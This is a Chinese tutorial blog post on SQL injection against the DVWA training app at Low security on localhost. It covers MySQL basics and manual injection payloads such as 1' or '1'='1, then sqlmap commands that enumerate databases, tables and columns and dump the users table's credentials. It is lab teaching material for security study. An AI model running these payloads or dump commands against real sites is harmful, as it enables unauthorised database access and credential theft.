SQL注入漏洞的手动注入+sqlmap自动化注入dvwa-Low

一.mysql数据库的操作

1.登录mysql

1.打开此电脑输入路径:

D:\phpstudy_pro\Extensions\MySQL5.7.26\bin

2.输入

 cmd

指令进入命令行窗口

3.进入命令行窗口输入:

mysql -uroot -p123456

回车 ( -u 后跟数据库名字 -p 后跟数据库密码 )

4.成功进入 mysql 数据库 的终端界面

2.查询全部数据库

进入 mysql 数据库 的终端界面输入:

show databases;

3.查询dvwa数据库中的数据表

1.mysql 数据库 的终端界面输入:

use dvwa;

2.mysql 数据库 的终端界面输入:

show tables;

4.查询users 数据表中的值

1.mysql 数据库 的终端界面输入:

show databases;

2.mysql 数据库 的终端界面输入:

use dvwa;

3mysql 数据库 的终端界面输入:

show tables;

4.mysql 数据库 的终端界面输入:

select * from users;

二.手工注入

or 数字型

   1 or 1 = 1

 1 or 1 = 2

or 字符型:

1' or '1' =  '1

  1' or '1' =  '2

and 数字型

1 and 1=1

1 and 1 = 2

and字符型:

1' and '1'='1

1' and '1'='2

三.order by 查询字段,报错说明字段小于查询数字

1' or 1 = 1 order by 1 #

四.判断是字符型注入还是数字型注入

如何区分:

1)数字型

当输入的参数x为整型的时候,通常sql语句是这样的

select * from users where id =x

这种类型可以使用经典的and 1=1 and 1=2来判断

  • url地址中输入id=x and 1=1 页面显示正常,继续下一步

  • url地址中输入id=x and 1=2 页面错误,这说明存在数字型注入。

  • 原因如下: 当输入and 1=1时,后台会执行sql语句是

select * from users where id =x and 1=1;

没有语法显示错误且,返回正常

当输入and 1=2时,后台会执行sql语句是

select * from users where id =1 and 1=2;

没有语法错误且,返回错误

  • 我们在使用假设: 如果是字符型注入的话,我们输入的语句应该会出现这样的状况

'1 and 1=1'; 
'1 and 1=2';

查询语句将and语句全部转换成字符串,并没有进行and的逻辑判断,所以不会出现以上结果,所以这个等式是不成立的。

2)字符型

当输入的参数x为字符型时,通常sql语句会这样的

 id ='x'

这种类型我们可以使用and ‘1’='1 和 and ‘1’='2来进行测试

  • id=1’ and ‘1’='1 页面正常,继续下一步

  • id=1’ and ‘1’='2 页面报错,则说明存在字符型注入。

  • 原因如下: 当输入and ‘1’=‘1的时候,后台执行的语句是

id='x' and '1'='1'

语法正确,逻辑判断正确,返回正确

当输入and ‘1’=‘2的时候,后台执行的语句是

id='x' and '1'='2'

语法正确,逻辑判断错误,返回错误

字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。使用联合查询,查询数据库,跟users表中的账号密码

五.使用 sqlmap 跑出注入 -u -r

1.sqlmap -u "[目标注入点]" --cookie="[站点cookie]"

1.F12先输入数字分析注入点

2.分析出GET请求的注入点是 id=1

3.查看 cookie 令牌

指令:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]"

实例化:

py -3 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1*&Submit=Submit" --cookie "security=low; PHPSESSID=uoanom4ui978elqvdbc8do96s4" --dbs

注意事项:在GET请求的注入点是 id=1 添加一个 * 号;* 表示sql注入漏洞的注入点

  1. 此时会 提示: 在选项 '-u' 中发现自定义注入标记 ('')。您想处理它吗? 输入 y 回车 。

  1. 提示: 看起来后端数据库管理系统是 'MySQL'。你想跳过针对其他数据库管理系统的测试负载吗? [Y/n] y 输入 y 回车

  2. 提示: 对于剩余的测试,你想包括所有针对 'MySQL' 的测试,并扩展提供的级别(1)和风险(1)值吗? [Y/n] y 输入 y 回车

  3. 提示: URI 参数 '#1' 存在漏洞。您想继续测试其他参数(如果有的话)吗?[y/N] 输入 y 回车

4.显示出存在的注入漏洞类型

  • 1.存在sql注入漏洞的注入类型

  • 2.sqlmap 自动扫描出来的数据库表

2.sqlmap -r [请求头文件]

1.F12先输入数字分析注入点 ,新建文本文件1.txt ;将请求头数据复制到1.txt 中,在id=2 的注入点位置加上 * ; ( * 表示sql注入漏洞的注入点)

2.指令:

sqlmap -r [请求头文件]

实例化:

py -3 sqlmap.py -r 1.txt

1.sqlmap 扫描指令

2.提示:在选项 '--headers/--user-agent/--referer/--cookie' 中发现自定义注入标记 ('')。您想要处理它吗? [Y/n/q]* 输入 y 回车

3.显示出存在的注入漏洞类型

六. 使用sqlmap对DVWA进行SQL注入测试

(一)DVWA初级:

 1. 注入探测

测试指令:

sqlmap -u "[目标注入点]"

执行后,sqlmap会自动检测目标是否存在SQL注入漏洞。如果存在漏洞,它还会自动识别数据库类型(如MySQL)以及所在操作系统(如Windows)。

 2. 登录探测

如果目标网站(如DVWA)需要登录才能访问,我们需要将登录后的授权信息传递给sqlmap。

(1)在浏览器中登录DVWA并进入测试页面,打开Firefox的开发者模式,切换到“Network”选项卡。

(2)点击页面的“重新加载”按钮,选择第一个数据包,找到cookie值。

(3)将cookie值复制下来,然后使用以下指令进行登录探测:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]"

 3. 获取所有数据库名

在确认注入点并获取登录授权后,可以开始探测数据库内容。执行以下命令获取所有数据库名称:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" --dbs

执行后,会列出目标网站的所有数据库名称。

 4. 获取指定数据库中的表名

选择一个感兴趣的数据库,查看其中的表。执行以下命令获取指定数据库的表名:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] --tables

例如,如果目标数据库名为dvwa,则会列出该数据库中的所有表,如users表。

 5. 获取指定表中的所有数据

如果想查看某个表(如users表)中的所有数据,执行以下命令:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] -T [表名] --dump

执行后,会列出users表中的所有数据,包括用户名和加密存储的密码。

 6. 获取指定表中的列名

如果表中的数据较多,直接列出所有数据可能会显得杂乱。可以先获取表中的列名,执行以下命令:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] -T [表名] --columns

这一步可以帮助我们了解表的结构,为后续查询指定列的数据提供依据。

7. 获取指定列的数据

在获取列名后,可以查询指定列的数据。例如,查询users表中的user_id,userpassword列,执行以下命令:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] -T [表名] -C [列名],[列名] --dump

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa -T users -C  -C user_id,user,password --dump

执行后,会列出users表中usernamepassword列的所有数据。如果密码字段是加密存储的,sqlmap会提示是否进行解密,选择“yes”即可。

通过以上步骤,我们完成了对DVWA初级难度的SQL注入测试,成功获取了所有用户名和密码。

小结:

  • 本文详细介绍了 MySQL数据库的基本操作,以及 SQL注入的实战技巧,包括手工注入和使用 Sqlmap 进行自动化注入测试。

  • 通过 DVWA初级难度 的测试,我们逐步展示了如何发现和利用SQL注入漏洞,以获取数据库中的敏感信息。

  • 本文内容仅供学习和交流使用,切勿用于非法途径

  • 如果在阅读过程中发现任何错误或有改进建议,请随时联系作者进行修正。

  • 后续我们将继续更新 DVWA中级DVWA高级 的内容,深入探讨更复杂的SQL注入场景和应对策略。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值